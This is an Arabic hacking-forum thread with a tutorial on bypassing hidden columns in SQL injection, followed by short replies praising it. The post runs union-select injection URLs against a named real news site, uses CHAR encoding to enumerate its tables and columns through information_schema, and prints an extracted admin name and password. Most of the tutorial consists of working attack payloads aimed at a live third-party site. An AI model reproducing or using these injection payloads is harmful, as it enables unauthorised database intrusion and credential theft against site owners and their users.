|
تخطي عدم ظهور الاعمدة في الحقن كيفكم اخواني الافاضل اليوم معانا درس بسيط ومفهوم ومهم في بعض الاحيان يوقف الشخص عن العمل لكن بعد اطلاعك على درس اليوم لن تجد صعوبة باذن الله مثلا معانا هذا الموقع http://www.teaminsightmag.com/news.php?id=286 order by 15 لن تجد له خطأ فعلينا اضافة كود PHP: الموقع الخاص اللي يشفر لنا الكلمات http://www.waraxe.us/sql-char-encoder.html شوفو النتيجة بدأت تظهر :surprised: http://upload.sa3eka.com/uploads/images/sfdd7aeeba4.gif المهم الخطأ يختفي عند الرقم 11 والاستغلال يكون http://www.teaminsightmag.com/news.p...7,8,9,10,11%23 http://upload.sa3eka.com/uploads/images/s1923c273e0.gif ويصير هكذا لكن لم تظهر معانا الاعمدة ههههههههههه:gasp: نضيف علامة - بعد علامة = http://www.teaminsightmag.com/news.php?id=-286'+union+select+1,2,3,4,5,6,7,8,9,10,11%23 ظهرت معانا الاعمدة المصابة http://upload.sa3eka.com/uploads/images/s0f1d0196e6.gif ثم نضيف في العمود المصاب اي في مكان الرقم 3 group_concat(table_name) و في اخر السطر +from+information_schema.tables http://upload.sa3eka.com/uploads/images/sc063a1e7fa.gif وظهرت معانا advertisers طب واحد يقلى انا هاعرف فين الجدول الى هاشتغل علية من كل دولarticles comments events manager_navigation news_headlines settings sites survey_answers sur اقول ناخد واحد واحد ونضيفة بعد +from+ ونجرب +from+ واذا لم تفلح فلابد عليك انك تشفر الكلمات مثلا نأخذ كلمة advertisers تشفيرها يكون = CONCAT(CHAR(97),CHAR(100),CHAR(118),CHAR(101),CHAR (114),CHAR(116),CHAR(105),CHAR(115),CHAR(101),CHAR (114),CHAR(115)) وهذه نضعها في مكان الرقم 3 group_concat(table_name,0x3e,column_name) وهذه في اخر الرابط +from+information_schema.columns+where+table_name+ like+ ونظيف لها الكلمة المشفرة ويصير الرابط هكذا http://www.teaminsightmag.com/news.php?id=-286%27+union+select+1,2,group_concat%28table_name, 0x3e,column_name%29,4,5,6,7,8,9,10,11++from+inform ation_schema.columns+where+table_name+like+CONCAT% 28CHAR%2897%29,CHAR%28100%29,CHAR%28118%29,CHAR%28 101%29,CHAR%28114%29,CHAR%28116%29,CHAR%28105%29,C HAR%28115%29,CHAR%28101%29,CHAR%28114%29,CHAR%2811 5%29%29%23 http://upload.sa3eka.com/uploads/images/sb2e94538ac.gif ظهر معانا advertisers>id advertisers>name advertisers>url advertisers>phone advertisers>status advertisers>site advertisers>type ونشوف كلمة name ملاحظة دائما نعيد للوراء ونضع كلمة name في مكان الرقم 3 و +from+advertisers في آخر الصفحة وتصير الصفحة http://www.teaminsightmag.com/news.p...advertisers%23 http://upload.sa3eka.com/uploads/images/seda7c99b1a.gif ظهر معانا اسم الادمن ههههههههههههه نكمل ولا لالالالالالالالالالالا نجرب الطريقة العادية فى الحقن ونظهر الباس concat(column_name,0x3e,table_schema,0x3e,table_na me) +from+information_schema.columns+where+column_name +like+char(37, 112, 97, 115, 115, 37)%23 ظهر جدول مختلف http://www.teaminsightmag.com/news.p...15,%2037%29%23 http://upload.sa3eka.com/uploads/images/sab6ae0b069.gif نغير الجدول ونجرب ونشوف http://www.teaminsightmag.com/news.p...+from+users%23 الباس طلع وهو sdfasdasd http://img177.imageshack.us/img177/6115/15507480.gif هههههه لا تنسى .... التقييم |
تقبل مروري يا اخي والله مشكورررررر بطل |
و لو يا صديقي هذا واجبنا و لو قدرت ابسط اكثر من كدى لقمت بذلك لعيون العناكب و اشكرك اخي على المرور |
سلمت ايدك ما قصرت واحلى __++___ |
ابداع حبيبي ... بارك الله فيك |
بارك الله فيك مبدع |
الله يجزاك خير ويبارك فيك أخي تقبل مروري وتم التقييم |
الله يخليكم اخواني على المرور الطيب |
ابداع حبيبي ... بارك الله فيك |
مشكوووووووووووووووووووووررررر اخي شرح رائع :-):bad: |
رد: تخطي عدم ظهور الاعمدة في الحقن مشكور شرح ولا اروع بالتوفيق |
رد: تخطي عدم ظهور الاعمدة في الحقن باراك الله فيك اخي لك مني اجمل تحية |
رد: تخطي عدم ظهور الاعمدة في الحقن باراك الله فيك اخي لك مني اجمل تحية |
| الساعة الآن 10:59 AM |
[ vBspiders.Com Network ]